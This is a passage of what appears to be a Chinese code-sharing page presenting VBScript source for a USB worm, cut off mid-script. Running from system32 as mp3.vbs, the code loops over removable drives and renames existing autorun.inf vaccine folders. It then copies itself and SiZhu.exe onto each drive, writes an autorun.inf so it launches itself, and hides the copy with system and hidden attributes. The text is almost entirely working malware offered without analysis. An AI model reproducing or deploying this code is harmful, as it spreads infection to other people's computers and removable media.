复制代码 代码如下:

On error resume next

Dim fso,wshell,curfolder,curdristr,curdri

Set fso=createobject("scripting.filesystemobject")

Set wshell=CreateObject("WScript.shell")

Set curfolder=fso.GetFolder(".")

curdristr=Left(WScript.ScriptFullName,3)

Set curdri=fso.GetDrive(curdristr)

reghid() '不显示隐藏文件

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"mp3.vbs" Then '如果在system32中

For i=1 To 2 Step 0

reghid()

For Each dri In fso.Drives

If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then

'autorun.inf文件夹改名

If fso.FolderExists(dri.Path&"autorun.inf") Then

fso.MoveFolder dri.Path&"autorun.inf",dri.Path&"Rubbish"

End If

'复制自身及exe文件到移动硬盘

If fso.FileExists(dri.Path&"mp3.vbs") And fso.FileExists(dri.Path&"autorun.inf") Then

Else

If fso.FileExists(dri.Path&"mp3.vbs") Then

fso.DeleteFile dri.Path&"mp3.vbs",True

ElseIf fso.FileExists(dri.Path&"autorun.inf") Then

fso.DeleteFile dri.Path&"autorun.inf",True

End if

fso.CopyFile WScript.ScriptFullName,dri.Path&"mp3.vbs",True

If fso.FileExists(".SiZhu.exe") And Not fso.FileExists(dri.Path&"SiZhu.exe") Then

fso.CopyFile ".SiZhu.exe",dri.Path&"SiZhu.exe",True

End If

autoinf(dri.Path)

'给刚复制的文件加上隐藏属性

Set norkon=fso.GetFile(dri.Path&"mp3.vbs")

wshell.run "attrib +r +a +s +h "&dri.Path&"mp3.vbs",0

Set norkon=Nothing